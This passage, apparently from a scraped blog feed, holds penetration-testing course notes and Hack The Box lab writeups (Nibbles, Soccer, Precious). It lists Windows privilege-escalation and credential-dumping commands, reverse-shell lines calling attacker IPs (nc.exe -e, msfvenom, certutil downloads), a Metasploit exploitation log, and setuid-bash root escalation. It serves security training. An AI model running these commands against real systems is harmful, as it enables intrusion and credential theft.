\u0026quot;C:\\Users\\sarah\\AppData\\Local\\Microsoft\\WindowsApps\\srrstr.dll\u0026quot; Downloading file with cURL in PowerShell rundll32 shell32.dll,Control_RunDLL C:\\Users\\sarah\\AppData\\Local\\Microsoft\\WindowsApps\\srrstr.dll Executing custom dll with rundll32.exe .\\SharpUp.exe audit Running SharpUp icacls \u0026quot;C:\\Program Files (x86)\\PCProtect\\SecurityService.exe\u0026quot; Checking service permissions with icacls cmd /c copy /Y SecurityService.exe \u0026quot;C:\\Program Files (x86)\\PCProtect\\SecurityService.exe\u0026quot; Replace a service binary wmic service get name,displayname,pathname,startmode | findstr /i \u0026quot;auto\u0026quot; | findstr /i /v \u0026quot;c:\\windows\\\\\u0026quot; | findstr /i /v \u0026quot;\u0026quot;\u0026quot; Searching for unquoted service paths accesschk.exe /accepteula \u0026quot;mrb3n\u0026quot; -kvuqsw hklm\\System\\CurrentControlSet\\services Checking for weak service ACLs in the Registry Set-ItemProperty -Path HKLM:\\SYSTEM\\CurrentControlSet\\Services\\ModelManagerService -Name \u0026quot;ImagePath\u0026quot; -Value \u0026quot;C:\\Users\\john\\Downloads\\nc.exe -e cmd.exe 10.10.10.205 443\u0026quot; Changing ImagePath with PowerShell Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl Check startup programs msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.3 LPORT=8443 -f exe \u0026gt; maintenanceservice.exe Generating a malicious binary get-process -Id 3324 Enumerating a process ID with PowerShell get-service | ? {$_.DisplayName -like 'Druva*'} Enumerate a running service by name with PowerShell Credential Theft\nCommand Description findstr /SIM /C:\u0026quot;password\u0026quot; *.txt *ini *.cfg *.config *.xml Search for files with the phrase \u0026ldquo;password\u0026rdquo; gc 'C:\\Users\\htb-student\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Custom Dictionary.txt' | Select-String password Searching for passwords in Chrome dictionary files (Get-PSReadLineOption).HistorySavePath Confirm PowerShell history save path gc (Get-PSReadLineOption).HistorySavePath Reading PowerShell history file $credential = Import-Clixml -Path 'C:\\scripts\\pass.xml' Decrypting PowerShell credentials cd c:\\Users\\htb-student\\Documents \u0026amp; findstr /SI /M \u0026quot;password\u0026quot; *.xml *.ini *.txt Searching file contents for a string findstr /si password *.xml *.ini *.txt *.config Searching file contents for a string findstr /spin \u0026quot;password\u0026quot; *.* Searching file contents for a string select-string -Path C:\\Users\\htb-student\\Documents\\*.txt -Pattern password Search file contents with PowerShell dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* Search for file extensions where /R C:\\ *.config Search for file extensions Get-ChildItem C:\\ -Recurse -Include *.rdp, *.config, *.vnc, *.cred -ErrorAction Ignore Search for file extensions using PowerShell cmdkey /list List saved credentials .\\SharpChrome.exe logins /unprotect Retrieve saved Chrome credentials .\\lazagne.exe -h View LaZagne help menu .\\lazagne.exe all Run all LaZagne modules Invoke-SessionGopher -Target WINLPE-SRV01 Running SessionGopher netsh wlan show profile View saved wireless networks netsh wlan show profile ilfreight_corp key=clear Retrieve saved wireless passwords Other Commands\nCommand Description certutil.exe -urlcache -split -f http://10.10.14.3:8080/shell.bat shell.bat Transfer file with certutil certutil -encode file1 encodedfile Encode file with certutil certutil -decode encodedfile file2 Decode file with certutil reg query HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\Installer Query for always install elevated registry key (1) reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer Query for always install elevated registry key (2) msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.3 lport=9443 -f msi \u0026gt; aie.msi Generate a malicious MSI package msiexec /i c:\\users\\htb-student\\desktop\\aie.msi /quiet /qn /norestart Executing an MSI package from command line schtasks /query /fo LIST /v Enumerate scheduled tasks Get-ScheduledTask | select TaskName,State Enumerate scheduled tasks with PowerShell .\\accesschk64.exe /accepteula -s -d C:\\Scripts\\ Check permissions on a directory Get-LocalUser Check local user description field Get-WmiObject -Class Win32_OperatingSystem | select Description Enumerate computer description field guestmount -a SQL01-disk1.vmdk -i --ro /mnt/vmd Mount VMDK on Linux guestmount --add WEBSRV10.vhdx --ro /mnt/vhdx/ -m /dev/sda1 Mount VHD/VHDX on Linux sudo python2.7 windows-exploit-suggester.py --update Update Windows Exploit Suggester database python2.7 windows-exploit-suggester.py --database 2021-05-13-mssb.xls --systeminfo win7lpe-systeminfo.txt Running Windows Exploit Suggester Complete Link of Completion\nDocumentation and Reporting Complete Link of Completion\nAttacking Enterprise Networks Complete Link of Completion\n","permalink":"https://woadey.github.io/posts/htb/pentester/","summary":"Notes on HTB Academy – \u003ca href=\"https://academy.hackthebox.com/path/preview/penetration-tester\"\n title=\"Penetration Tester\" \n target=\"_blank\" rel=\"nofollow noopener\"\u003ePenetration Tester\u003c/a\u003e","title":"HTB Academy: Penetration Tester"},{"content":"nmap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # Nmap 7.93 scan initiated Mon Nov 13 19:59:42 2023 as: nmap -sC -sV -oA nmap/nibbles -T4 10.129.118.233 Nmap scan report for 10.129.118.233 Host is up (0.038s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 c4f8ade8f80477decf150d630a187e49 (RSA) | 256 228fb197bf0f1708fc7e2c8fe9773a48 (ECDSA) |_ 256 e6ac27a3b5a9f1123c34a55d5beb3de9 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-title: Site doesn\u0026#39;t have a title (text/html). |_http-server-header: Apache/2.4.18 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Mon Nov 13 19:59:50 2023 -- 1 IP address (1 host up) scanned in 7.33 seconds gobuster 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 ┌──(kali㉿kali)-[~/htb/busqueda] └─$ sudo gobuster dir -u http://10.129.118.233 -w /usr/share/dirb/wordlists/common.txt -z =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) \u0026amp; Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.129.118.233 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/dirb/wordlists/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2023/11/13 20:15:10 Starting gobuster in directory enumeration mode =============================================================== /.hta (Status: 403) [Size: 293] /.htaccess (Status: 403) [Size: 298] /.htpasswd (Status: 403) [Size: 298] /index.html (Status: 200) [Size: 93] /server-status (Status: 403) [Size: 302] =============================================================== 2023/11/13 20:15:11 Finished =============================================================== http gobuster 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 ┌──(kali㉿kali)-[~/htb/busqueda] └─$ sudo gobuster dir -u http://10.129.118.233/nibbleblog/ -w /usr/share/dirb/wordlists/common.txt -z =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) \u0026amp; Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.129.118.233/nibbleblog/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/dirb/wordlists/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2023/11/13 20:17:08 Starting gobuster in directory enumeration mode =============================================================== /.htaccess (Status: 403) [Size: 309] /.hta (Status: 403) [Size: 304] /.htpasswd (Status: 403) [Size: 309] /admin (Status: 301) [Size: 327] [--\u0026gt; http://10.129.118.233/nibbleblog/admin/] /admin.php (Status: 200) [Size: 1401] /content (Status: 301) [Size: 329] [--\u0026gt; http://10.129.118.233/nibbleblog/content/] /index.php (Status: 200) [Size: 2987] /languages (Status: 301) [Size: 331] [--\u0026gt; http://10.129.118.233/nibbleblog/languages/] /plugins (Status: 301) [Size: 329] [--\u0026gt; http://10.129.118.233/nibbleblog/plugins/] /README (Status: 200) [Size: 4628] /themes (Status: 301) [Size: 328] [--\u0026gt; http://10.129.118.233/nibbleblog/themes/] =============================================================== 2023/11/13 20:17:09 Finished =============================================================== searchsploit ---------------------------------------------------------- --------------------------------- Exploit Title | Path ---------------------------------------------------------- --------------------------------- Nibbleblog 3 - Multiple SQL Injections | php/webapps/35865.txt Nibbleblog 4.0.3 - Arbitrary File Upload (Metasploit) | php/remote/38489.rb ---------------------------------------------------------- --------------------------------- After seeing this, I Google the default password for nibbleblog and found admin:nibbles. This, of coure, worked.\nThen I was able to upload a reverse PHP shell using the image Plugins within the nibbleblog portal.\nmetasploit msf6 \u0026gt; search nibbleblog Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/multi/http/nibbleblog_file_upload 2015-09-01 excellent Yes Nibbleblog File Upload Vulnerability Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/nibbleblog_file_upload msf6 \u0026gt; use 0 [*] No payload configured, defaulting to php/meterpreter/reverse_tcp msf6 exploit(multi/http/nibbleblog_file_upload) \u0026gt; show options Module options (exploit/multi/http/nibbleblog_file_upload): Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD yes The password to authenticate with Proxies no A proxy chain of format type:host:por t[,type:host:port][...] RHOSTS yes The target host(s), see https://docs. metasploit.com/docs/using-metasploit/ basics/using-metasploit.html RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connec tions TARGETURI / yes The base path to the web application USERNAME yes The username to authenticate with VHOST no HTTP server virtual host Payload options (php/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 209.151.148.245 yes The listen address (an interface may be s pecified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Nibbleblog 4.0.3 View the full module info with the info, or info -d command. msf6 exploit(multi/http/nibbleblog_file_upload) \u0026gt; We\u0026rsquo;ve got everything we need. Now Just have to configure the options.\nmsf6 exploit(multi/http/nibbleblog_file_upload) \u0026gt; set rhost 10.129.118.233 lhost =\u0026gt; 10.129.118.233 msf6 exploit(multi/http/nibbleblog_file_upload) \u0026gt; set lhost 10.10.15.26 rhost =\u0026gt; 10.10.15.26 msf6 exploit(multi/http/nibbleblog_file_upload) \u0026gt; set username admin username =\u0026gt; admin msf6 exploit(multi/http/nibbleblog_file_upload) \u0026gt; set password nibbles password =\u0026gt; nibbles msf6 exploit(multi/http/nibbleblog_file_upload) \u0026gt; set targeturi nibbleblog/ targeturi =\u0026gt; nibbleblog/ msf6 exploit(multi/http/nibbleblog_file_upload) \u0026gt; run [*] Started reverse TCP handler on 10.10.15.26:4444 [*] Sending stage (39927 bytes) to 10.129.118.233 [+] Deleted image.php [*] Meterpreter session 1 opened (10.10.15.26:4444 -\u0026gt; 10.129.118.233:37544) at 2023-11-13 21:15:55 +0000 meterpreter\u0026gt; sysinfo Computer : Nibbles OS : Linux Nibbles 4.4.0-104-generic #127-Ubuntu SMP Mon Dec 11 12:16:42 UTC 2017 x86_64 Meterpreter : php/linux meterpreter\u0026gt; \u0026gt; execute -if \u0026#34;cat /home/*/user.txt\u0026#34; Process 1691 created. Channel 3 created. 79c03865431abf47b90ef24b9695e148 privesc $ sudo -l Matching Defaults entries for nibbler on Nibbles: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin User nibbler may run the following commands on Nibbles: (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh Welp that\u0026rsquo;s easy. Put whatever you want in monitor.sh (revshell, cmds, etc) and have root privs.\nFlags user.txt: 79c03865431abf47b90ef24b9695e148\nroot.txt: de5e5d6619862a8aa5b9b212314e0cdd\n","permalink":"https://woadey.github.io/posts/htb/easy/nibbles/","summary":"Writeup for Hack The Box – \u003ca href=\"https://app.hackthebox.com/machines/121/information\"\n title=\"Nibbles\" \n target=\"_blank\" rel=\"nofollow noopener\"\u003eNibbles\u003c/a\u003e","title":"HTB Writeup: Nibbles"},{"content":"nmap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 # Nmap 7.92 scan initiated Sun Apr 9 11:53:01 2023 as: nmap -sC -sV -oA nmap/soccer -T4 10.10.11.194 Nmap scan report for 10.10.11.194 Host is up (0.019s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 ad:0d:84:a3:fd:cc:98:a4:78:fe:f9:49:15:da:e1:6d (RSA) | 256 df:d6:a3:9f:68:26:9d:fc:7c:6a:0c:29:e9:61:f0:0c (ECDSA) |_ 256 57:97:56:5d:ef:79:3c:2f:cb:db:35:ff:f1:7c:61:5c (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://soccer.htb/ |_http-server-header: nginx/1.18.0 (Ubuntu) 9091/tcp open xmltec-xmlmail? | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix: | HTTP/1.1 400 Bad Request | Connection: close | GetRequest: | HTTP/1.1 404 Not Found | Content-Security-Policy: default-src \u0026#39;none\u0026#39; | X-Content-Type-Options: nosniff | Content-Type: text/html; charset=utf-8 | Content-Length: 139 | Date: Sun, 09 Apr 2023 15:53:13 GMT | Connection: close | \u0026lt;!DOCTYPE html\u0026gt; | \u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt; | \u0026lt;head\u0026gt; | \u0026lt;meta charset=\u0026#34;utf-8\u0026#34;\u0026gt; | \u0026lt;title\u0026gt;Error\u0026lt;/title\u0026gt; | \u0026lt;/head\u0026gt; | \u0026lt;body\u0026gt; | \u0026lt;pre\u0026gt;Cannot GET /\u0026lt;/pre\u0026gt; | \u0026lt;/body\u0026gt; | \u0026lt;/html\u0026gt; | HTTPOptions, RTSPRequest: | HTTP/1.1 404 Not Found | Content-Security-Policy: default-src \u0026#39;none\u0026#39; | X-Content-Type-Options: nosniff | Content-Type: text/html; charset=utf-8 | Content-Length: 143 | Date: Sun, 09 Apr 2023 15:53:13 GMT | Connection: close | \u0026lt;!DOCTYPE html\u0026gt; | \u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt; | \u0026lt;head\u0026gt; | \u0026lt;meta charset=\u0026#34;utf-8\u0026#34;\u0026gt; | \u0026lt;title\u0026gt;Error\u0026lt;/title\u0026gt; | \u0026lt;/head\u0026gt; | \u0026lt;body\u0026gt; | \u0026lt;pre\u0026gt;Cannot OPTIONS /\u0026lt;/pre\u0026gt; | \u0026lt;/body\u0026gt; |_ \u0026lt;/html\u0026gt; 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port9091-TCP:V=7.92%I=7%D=4/9%Time=6432DF64%P=x86_64-pc-linux-gnu%r(inf SF:ormix,2F,\u0026#34;HTTP/1\\.1\\x20400\\x20Bad\\x20Request\\r\\nConnection:\\x20close\\r\\ SF:n\\r\\n\u0026#34;)%r(drda,2F,\u0026#34;HTTP/1\\.1\\x20400\\x20Bad\\x20Request\\r\\nConnection:\\x2 SF:0close\\r\\n\\r\\n\u0026#34;)%r(GetRequest,168,\u0026#34;HTTP/1\\.1\\x20404\\x20Not\\x20Found\\r\\n SF:Content-Security-Policy:\\x20default-src\\x20\u0026#39;none\u0026#39;\\r\\nX-Content-Type-Opt SF:ions:\\x20nosniff\\r\\nContent-Type:\\x20text/html;\\x20charset=utf-8\\r\\nCon SF:tent-Length:\\x20139\\r\\nDate:\\x20Sun,\\x2009\\x20Apr\\x202023\\x2015:53:13\\x SF:20GMT\\r\\nConnection:\\x20close\\r\\n\\r\\n\u0026lt;!DOCTYPE\\x20html\u0026gt;\\n\u0026lt;html\\x20lang= SF:\\\u0026#34;en\\\u0026#34;\u0026gt;\\n\u0026lt;head\u0026gt;\\n\u0026lt;meta\\x20charset=\\\u0026#34;utf-8\\\u0026#34;\u0026gt;\\n\u0026lt;title\u0026gt;Error\u0026lt;/title\u0026gt;\\n\u0026lt;/h SF:ead\u0026gt;\\n\u0026lt;body\u0026gt;\\n\u0026lt;pre\u0026gt;Cannot\\x20GET\\x20/\u0026lt;/pre\u0026gt;\\n\u0026lt;/body\u0026gt;\\n\u0026lt;/html\u0026gt;\\n\u0026#34;)%r(HTT SF:POptions,16C,\u0026#34;HTTP/1\\.1\\x20404\\x20Not\\x20Found\\r\\nContent-Security-Poli SF:cy:\\x20default-src\\x20\u0026#39;none\u0026#39;\\r\\nX-Content-Type-Options:\\x20nosniff\\r\\nC SF:ontent-Type:\\x20text/html;\\x20charset=utf-8\\r\\nContent-Length:\\x20143\\r SF:\\nDate:\\x20Sun,\\x2009\\x20Apr\\x202023\\x2015:53:13\\x20GMT\\r\\nConnection:\\ SF:x20close\\r\\n\\r\\n\u0026lt;!DOCTYPE\\x20html\u0026gt;\\n\u0026lt;html\\x20lang=\\\u0026#34;en\\\u0026#34;\u0026gt;\\n\u0026lt;head\u0026gt;\\n\u0026lt;met SF:a\\x20charset=\\\u0026#34;utf-8\\\u0026#34;\u0026gt;\\n\u0026lt;title\u0026gt;Error\u0026lt;/title\u0026gt;\\n\u0026lt;/head\u0026gt;\\n\u0026lt;body\u0026gt;\\n\u0026lt;pre\u0026gt;Ca SF:nnot\\x20OPTIONS\\x20/\u0026lt;/pre\u0026gt;\\n\u0026lt;/body\u0026gt;\\n\u0026lt;/html\u0026gt;\\n\u0026#34;)%r(RTSPRequest,16C,\u0026#34;HTT SF:P/1\\.1\\x20404\\x20Not\\x20Found\\r\\nContent-Security-Policy:\\x20default-sr SF:c\\x20\u0026#39;none\u0026#39;\\r\\nX-Content-Type-Options:\\x20nosniff\\r\\nContent-Type:\\x20t SF:ext/html;\\x20charset=utf-8\\r\\nContent-Length:\\x20143\\r\\nDate:\\x20Sun,\\x SF:2009\\x20Apr\\x202023\\x2015:53:13\\x20GMT\\r\\nConnection:\\x20close\\r\\n\\r\\n\u0026lt; SF:!DOCTYPE\\x20html\u0026gt;\\n\u0026lt;html\\x20lang=\\\u0026#34;en\\\u0026#34;\u0026gt;\\n\u0026lt;head\u0026gt;\\n\u0026lt;meta\\x20charset=\\\u0026#34;ut SF:f-8\\\u0026#34;\u0026gt;\\n\u0026lt;title\u0026gt;Error\u0026lt;/title\u0026gt;\\n\u0026lt;/head\u0026gt;\\n\u0026lt;body\u0026gt;\\n\u0026lt;pre\u0026gt;Cannot\\x20OPTIONS\\x SF:20/\u0026lt;/pre\u0026gt;\\n\u0026lt;/body\u0026gt;\\n\u0026lt;/html\u0026gt;\\n\u0026#34;)%r(RPCCheck,2F,\u0026#34;HTTP/1\\.1\\x20400\\x20Bad\\ SF:x20Request\\r\\nConnection:\\x20close\\r\\n\\r\\n\u0026#34;)%r(DNSVersionBindReqTCP,2F, SF:\u0026#34;HTTP/1\\.1\\x20400\\x20Bad\\x20Request\\r\\nConnection:\\x20close\\r\\n\\r\\n\u0026#34;)%r SF:(DNSStatusRequestTCP,2F,\u0026#34;HTTP/1\\.1\\x20400\\x20Bad\\x20Request\\r\\nConnecti SF:on:\\x20close\\r\\n\\r\\n\u0026#34;)%r(Help,2F,\u0026#34;HTTP/1\\.1\\x20400\\x20Bad\\x20Request\\r\\ SF:nConnection:\\x20close\\r\\n\\r\\n\u0026#34;)%r(SSLSessionReq,2F,\u0026#34;HTTP/1\\.1\\x20400\\x2 SF:0Bad\\x20Request\\r\\nConnection:\\x20close\\r\\n\\r\\n\u0026#34;); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Apr 9 11:53:20 2023 -- 1 IP address (1 host up) scanned in 18.99 seconds gobuster subdirectories 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ┌──(kali㉿kali)-[~/htb/soccer] └─$ sudo gobuster dir -u http://soccer.htb -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt -o gobuster/subdirectories.out -z =============================================================== Gobuster v3.2.0-dev by OJ Reeves (@TheColonial) \u0026amp; Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://soccer.htb [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.2.0-dev [+] Timeout: 10s =============================================================== 2023/04/09 11:55:47 Starting gobuster in directory enumeration mode =============================================================== /tiny (Status: 301) [Size: 178] [--\u0026gt; http://soccer.htb/tiny/] =============================================================== 2023/04/09 11:56:31 Finished =============================================================== Found /tiny directory.\nvhost 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ┌──(kali㉿kali)-[~/htb/soccer] └─$ sudo gobuster vhost -u http://soccer.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -z -o gobuster/vhost.out =============================================================== Gobuster v3.2.0-dev by OJ Reeves (@TheColonial) \u0026amp; Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://soccer.htb [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt [+] User Agent: gobuster/3.2.0-dev [+] Timeout: 10s [+] Append Domain: false =============================================================== 2023/04/09 11:57:13 Starting gobuster in VHOST enumeration mode =============================================================== =============================================================== 2023/04/09 11:57:23 Finished =============================================================== Nothing here.\nhttp After a quick glance at the html of the hosted website, there seems to be nothing really here other than the login page of /tiny. Wappalyzer shows some of the used technologies:\nAfter a bit of digging, I found this link which listed some default logins:\nadmin:admin@123 user:12345 Both creds worked!\nWhile I was digging, I noticed Tiny File Manager 2.4.3 was vulnerable. After logging in, I got the confirmation that this was, in fact, the vulnerable version.\nCVE-2021-45010 I tried to get this POC to work, but I was unable to.\nInstead, I uploaded a rev shell from Pentest Monkey.\n┌──(kali㉿kali)-[~/htb/soccer] └─$ nc -lnvp 1337 listening on [any] 1337 ... connect to [10.10.16.20] from (UNKNOWN) [10.10.11.194] 59904 Linux soccer 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux 23:14:57 up 1:34, 0 users, load average: 0.00, 0.01, 0.01 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can\u0026#39;t access tty; job control turned off $ whoami www-data $ privesc From here, I ran linpeas.sh to see how to get to get to the player or root user. I noticed right away that /usr/bin/bash had the SETUID bit already, so all I had to do to get root was run:\n$ /usr/bin/bash -p whoami root Profit.\nFlag user.txt: 7acd46137be252c987b73b6d702c3f92\nroot.txt: 336175fd3a440ac7670fc0d47581331e\n","permalink":"https://woadey.github.io/posts/htb/easy/soccer/","summary":"Writeup for Hack The Box – \u003ca href=\"https://app.hackthebox.com/machines/519\"\n title=\"Soccer\" \n target=\"_blank\" rel=\"nofollow noopener\"\u003eSoccer\u003c/a\u003e","title":"HTB Writeup: Soccer"},{"content":"nmap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 # Nmap 7.92 scan initiated Sat Apr 8 21:32:58 2023 as: nmap -sC -sV -oA nmap/precious -T4 10.10.11.189 Nmap scan report for 10.10.11.189 Host is up (0.024s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA) | 256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA) |_ 256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519) 80/tcp open http nginx 1.18.0 |_http-title: Did not follow redirect to http://precious.htb/ |_http-server-header: nginx/1.18.0 8888/tcp open http WEBrick httpd 1.6.1 (Ruby 2.7.4 (2021-07-07)) |_http-title: Index of / |_http-server-header: WEBrick/1.6.1 (Ruby/2.7.4/2021-07-07) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Apr 8 21:33:07 2023 -- 1 IP address (1 host up) scanned in 8.94 seconds As shown in line 12, http did not follow redirect, so I added 10.10.11.189 precious.htb to /etc/hosts.\ngobuster subdirectories 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ┌──(kali㉿kali)-[~/htb/precious] └─$ sudo gobuster dir -u http://precious.htb -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt -o gobuster/subdirectories.out -z =============================================================== Gobuster v3.2.0-dev by OJ Reeves (@TheColonial) \u0026amp; Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://precious.htb [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.2.0-dev [+] Timeout: 10s =============================================================== 2023/04/08 21:41:19 Starting gobuster in directory enumeration mode =============================================================== =============================================================== 2023/04/08 21:42:03 Finished =============================================================== Nothing to see here.\nvhost 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ┌──(kali㉿kali)-[~/htb/precious] └─$ sudo gobuster vhost -u http://precious.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -z -o gobuster/vhost.out =============================================================== Gobuster v3.2.0-dev by OJ Reeves (@TheColonial) \u0026amp; Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://precious.htb [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt [+] User Agent: gobuster/3.2.0-dev [+] Timeout: 10s [+] Append Domain: false =============================================================== 2023/04/08 21:45:01 Starting gobuster in VHOST enumeration mode =============================================================== =============================================================== 2023/04/08 21:45:13 Finished =============================================================== Nothing here either.\nsearchsploit First I checked was WEBrick 1.6.1, followed by a quick Google. This seems to be a dead end. I also looked at Wappalyzer to see if there were any interesting plugins. Phusion Passenger is also running, but that also seems to be fine.\nhttp precious.htb is a rather simple page that appears to convert a webpage to a PDF.\nfile: (likely) index.html\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;Convert Web Page to PDF\u0026lt;/title\u0026gt; \u0026lt;link rel=\u0026#34;stylesheet\u0026#34; href=\u0026#34;stylesheets/style.css\u0026#34;\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;div class=\u0026#34;wrapper\u0026#34;\u0026gt; \u0026lt;h1 class=\u0026#34;title\u0026#34;\u0026gt;Convert Web Page to PDF\u0026lt;/h1\u0026gt; \u0026lt;form action=\u0026#34;/\u0026#34; method=\u0026#34;post\u0026#34;\u0026gt; \u0026lt;p\u0026gt;Enter URL to fetch\u0026lt;/p\u0026gt;\u0026lt;br\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; name=\u0026#34;url\u0026#34; value=\u0026#34;\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;submit\u0026#34; value=\u0026#34;Submit\u0026#34;\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;h2 class=\u0026#34;msg\u0026#34;\u0026gt;Cannot load remote URL!\u0026lt;/h2\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; After some more digging around, I found precious.htb:8888 shows the open directory.\nObviously there are some goods in here, but the files I could pull down yielded no results.\nThen I revisited the webpage. I ran a python server locally to see if the webpage could pull back my directory and convert it to a pdf. This worked.\nTo get more information on the PDF file, I ran exiftool\n┌──(kali㉿kali)-[~/htb/precious] └─$ exiftool fzh9l7xbe93f8hharkxzcg1symzyg9oo.pdf ExifTool Version Number : 12.44 File Name : fzh9l7xbe93f8hharkxzcg1symzyg9oo.pdf Directory : . File Size : 18 kB File Modification Date/Time : 2023:04:08 22:25:40-04:00 File Access Date/Time : 2023:04:08 22:26:45-04:00 File Inode Change Date/Time : 2023:04:08 22:26:45-04:00 File Permissions : -rw-r--r-- File Type : PDF File Type Extension : pdf MIME Type : application/pdf PDF Version : 1.4 Linearized : No Page Count : 1 Creator : Generated by pdfkit v0.8.6 Bingo. CVE.\nCVE-2022-25765 A quick Google search details pdfkit is vulnerable to CVE-2022-25765\nmalicious payload:\ncurl \u0026#39;http://precious.htb\u0026#39; -X POST -H \u0026#39;User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0\u0026#39; -H \u0026#39;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8\u0026#39; -H \u0026#39;Accept-Language: en-US,en;q=0.5\u0026#39; -H \u0026#39;Accept-Encoding: gzip, deflate\u0026#39; -H \u0026#39;Content-Type: application/x-www-form-urlencoded\u0026#39; -H \u0026#39;Origin: http://precious.htb\u0026#39; -H 